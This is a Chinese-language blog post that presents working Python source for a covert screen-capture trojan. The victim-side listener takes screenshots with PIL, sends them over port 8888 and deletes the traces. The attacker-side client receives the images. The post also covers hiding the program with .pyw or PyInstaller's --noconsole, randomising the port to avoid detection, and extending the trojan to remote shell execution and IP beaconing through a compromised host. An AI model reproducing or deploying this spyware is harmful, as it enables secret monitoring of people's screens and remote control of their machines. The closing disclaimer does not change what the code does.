python实现屏幕截取功能

python实现截取对方屏幕功能

前言

​ 最近呢,有个期末作业要做,叫弄点关于安全这方面的玩意,身边的朋友有的打靶场,有的部署Nessus扫描器,我正好最近想写点好玩的小工具,抽下时间说看看木马这些东西,然后本花就开始想啊想,想木马的功能具体的实现思路,这里呢,我就想到那就先写一个简单的练练手玩,置于什么免杀或者过什么杀毒软件的后面有需求再说,本来想是说写个弹个shell的或者弄个啥的键盘监控,后来看了看,由于时间比较紧,然后我就利用我自己常用的一些的socket编程,从而来进行写一个远程监控对方屏幕然后获取内容,发送到本地的木马程序。当然这个程序我们后面可能会给他更加丰满一些,比如说通过socket传送命令,直接远端操控cmd,linux操控shell。(当然我们这种远端操控对方系统的没有实现,该程序只实现了屏幕截取,但是远程发送命令并且执行的思路我们会在后面说)

​ –青花

思路介绍

我们的思路其实很简单,

1 叫被控制方(这里是指我们要监听的主机)利用套接字在主机上开一个端口,

注:(这里我们监听端要想办法隐藏程序在后台运行,这里介绍两种方法:1.如果是利用python打开就是.pyw文件这样就会弄到后台运行 2.如果打包成exe文件的话用pyinstaller的时候我们要加入–noconsole参数就不会弹出黑窗口,然后我们不加GUI什么乱七八糟的就会被扔到后台运行)

pyw效果

  • 1562493026990

我们任务管理器看到后台pyw的进程。

  • 1562493106780

这时候我们看到主机的8888端口已经被我们打开了。

​ exe 打包加–noconsole效果

  • 1562493423785

这里注意用pyinstaller打包成exe文件,我们是木马,当然一个文件好,不要弄个文件夹出来,要加-F参数就会集成为一个文件,否则出来是一堆动态链接库文件(dll)(PS:我后面在执行用我自己的程序是有一个图标的,那个加入-i 参数指定一个ico文件就行了,源代码都是一样的)

我们查看效果

1562493571269

后台已经在跑了。

  • 1562493602624

端口也已经成功监听。

然后利用这个端口通过我们远程运行在目标主机上的木马程序。我这里程序写的潦草,只开了8888这个端口(这里我后面考虑了一个问题,那就是端口可以用random随机生成,不要太高也不要太低,可以能够不引起发觉)。

2 截取对方屏幕。存到对方主机中。利用python的库,有很多种方式,可以利用pywin32调用windows api来进行截图,但是考虑到跨平台性,我们利用image这个库,简单粗暴两行代码搞定。

ImageGrab.grab() 截取屏幕,返回一个对象

im.save(‘d:/‘+str(label)+’.jpeg’,’jpeg’)保存这个对象所截取到的屏幕文件

3 通过套接字发送给我们监听端,然后删除目标被监听主机上的文件。存取到我们本地。

代码

监听端(被控机)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import socket
import os
import time
import platform
import re
from PIL import ImageGrab




def getimg(): #这个是屏幕截取的函数
im=ImageGrab.grab()
label=time.time()
im.save('d:/'+str(label)+'.jpeg','jpeg')
return label

r'''def sendmyip(): #本来的思路是反弹自己内网ip给对方到一个http服务器上,这个功能后来想了想暂时初级阶段
s.bind((str(hostip),8888)) #不太需要后来就不了了之了
s.listen(1)
conn,addr=s.accept()
if conn:
s.send(hostip)'''
def checkos(): #检查操作系统,然后设置存储路径,有个小缺陷windows可能会存在没有D盘的情况,linux #操作系统权限没有考虑完全
os=platform.platform()
if re.search('Windows',os):
path='d:/'
return path

if re.search('Linux',os):
path='/home/'
return path


def sendimg(): #主要执行函数创建套接字开启端口,然后进行截图发送文件
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
hostip=socket.gethostbyname(socket.getfqdn(socket.gethostname()))
print(hostip)
s.bind((str(hostip),8888))
print('please wating connecting.....')
s.listen(1)
conn,addr=s.accept()
print("Discovery connecting .......\n")
print("Romote host ip is ",addr[0])
if conn:
print("sending......\n")
filename=getimg() #截图
path=checkos() #判断操作系统确定路径
filepath=path+str(filename)+'.jpeg'
if os.path.exists(filepath):
f=open(filepath,'rb')
while 1:
filedata=f.read(1024)
if not filedata:
break
conn.send(filedata)
print('send is running......')
f.close()
os.remove(filepath) #删除文件
print('image send is complish!\n')



if __name__=='__main__':
while 1:
sendimg()

接收端(文件获取方)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import socket
import time
import re
import platform

r'''def checkos(): #这里本来是为了响应监听端实现一个判断操作系统功能,然后后面跟
os=platform.platform() #好的执行shell命令或者其他操作写的,不过时间问题没有继续写下去
if re.search('Windows',os): #后面我们介绍思路会说
path='Windows'
return path
if re.search('Linux',os):
path='Linux'
return path

def checksetpath(filepath,systemtype):
if systemtype=='Windows':
r=re.search("c:/|d:/|e:/|f:/|g:/",filepath)
if not r:
print("path is error\n")
exit()
if systemtype=='Linux':
r=re.search("/etc|/usr|/var|/root|/home",filepath)
if not r:
print("path is error\n")
exit()'''



def recvimg():
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remoteip=str(input("Please input aim ip\n"))#连接远程套接字
s.connect((remoteip,8888))
print("connection already established\n")
lable=time.time()
f=open('./'+str(lable)+'.jpeg','wb') #接收文件写入文件
while 1:
data=s.recv(1024)
if not data:
break
f.write(data)
print('recv is running ....')

print("img is geting.......")
f.close()
s.close()


if __name__=='__main__':
print("programe is running.......\n")
recvimg()

程序简单测试

首先在本地测试一下。

首先打开监听端,然后打开控制端输入目标ip(也就是开启监听端的那个主机)

  • 1562494017252

  • 1562493968803

  • 1562494035648

ok多出一个图片文件,表示成功!

然后远程测试打印机机器的效果。

  • 1562494072238

也是可以执行的。

思路拓展

1 IP问题

上面我们说了,我们在进行测试的过程中,即使被监控的一端打开了木马文件,可能会存在一个我们不知道对方内网ip的地址,或者说其他的。这里我想一个思路,另外可以在木马程序中开一个线程开启一个套接字,然后我们在外网服务器上开一个web页面(或者直接在目标服务器上开一个套接字,为了安全起见,我觉得可能去抓个鸡好点),然后被监控端执行命令获取本机ip等系统信息,将这些信息打包发送请求访问这个页面,然后我们获取这些信息。这样就解决了IP的问题。

2 shell命令执行

我前面说过,我们在这里讨论一下shell命令执行的情况,这里我们可以加一个扩展,也就是给我们这个木马程序。这里我们可以通过一下思路进行拓展。

(1).控制端(也就是我们操纵的这里)我们可以再开一个线程,然后再给被监控端那边也开一个套接字,连接对方,然后封装函数。

(2)我们这边通过套接字发送给对方,想要执行的shell命令,然后传输过去,对方通过接受,然后利用os.system()方法执行

(3)执行完毕后,反馈结果给我们

总结

​ 本次我们进行了简单的小木马工具的编写,希望大家不要用作非法用途,只用作个人学习(作者不承担作用于非法用途的后果)。可以说不光是锻炼了一下自己写python程序的能力,其次也是思想天马行空,还想加好多功能叫木马强大起来,还想怎么过一些杀软,哈哈哈,还是意犹未尽,不过时间宝贵,还是干当前重要的事情吧,后面如果更新,我会再次发布的!